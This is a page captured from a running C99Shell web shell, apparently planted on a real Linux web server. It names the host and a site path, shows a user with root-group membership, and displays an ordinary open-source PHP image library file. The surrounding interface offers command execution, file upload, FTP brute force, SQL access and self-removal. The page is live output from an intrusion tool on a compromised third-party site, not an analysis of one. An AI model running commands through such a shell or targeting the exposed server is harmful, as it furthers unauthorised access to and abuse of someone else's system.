!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/league/glide/src/Api/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Api.php (2.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace League\Glide\Api;

use 
Intervention\Image\ImageManager;
use 
InvalidArgumentException;
use 
League\Glide\Manipulators\ManipulatorInterface;

class 
Api implements ApiInterface
{
    
/**
     * Intervention image manager.
     *
     * @var ImageManager
     */
    
protected $imageManager;

    
/**
     * Collection of manipulators.
     *
     * @var array
     */
    
protected $manipulators;

    
/**
     * Create API instance.
     *
     * @param ImageManager $imageManager Intervention image manager.
     * @param array        $manipulators Collection of manipulators.
     */
    
public function __construct(ImageManager $imageManager, array $manipulators)
    {
        
$this->setImageManager($imageManager);
        
$this->setManipulators($manipulators);
    }

    
/**
     * Set the image manager.
     *
     * @param ImageManager $imageManager Intervention image manager.
     *
     * @return void
     */
    
public function setImageManager(ImageManager $imageManager)
    {
        
$this->imageManager $imageManager;
    }

    
/**
     * Get the image manager.
     *
     * @return ImageManager Intervention image manager.
     */
    
public function getImageManager()
    {
        return 
$this->imageManager;
    }

    
/**
     * Set the manipulators.
     *
     * @param array $manipulators Collection of manipulators.
     *
     * @return void
     */
    
public function setManipulators(array $manipulators)
    {
        foreach (
$manipulators as $manipulator) {
            if (!(
$manipulator instanceof ManipulatorInterface)) {
                throw new 
InvalidArgumentException('Not a valid manipulator.');
            }
        }

        
$this->manipulators $manipulators;
    }

    
/**
     * Get the manipulators.
     *
     * @return array Collection of manipulators.
     */
    
public function getManipulators()
    {
        return 
$this->manipulators;
    }

    
/**
     * Perform image manipulations.
     *
     * @param string $source Source image binary data.
     * @param array  $params The manipulation params.
     *
     * @return string Manipulated image binary data.
     */
    
public function run($source, array $params)
    {
        
$image $this->imageManager->make($source);

        foreach (
$this->manipulators as $manipulator) {
            
$manipulator->setParams($params);

            
$image $manipulator->run($image);
        }

        return 
$image->getEncoded();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--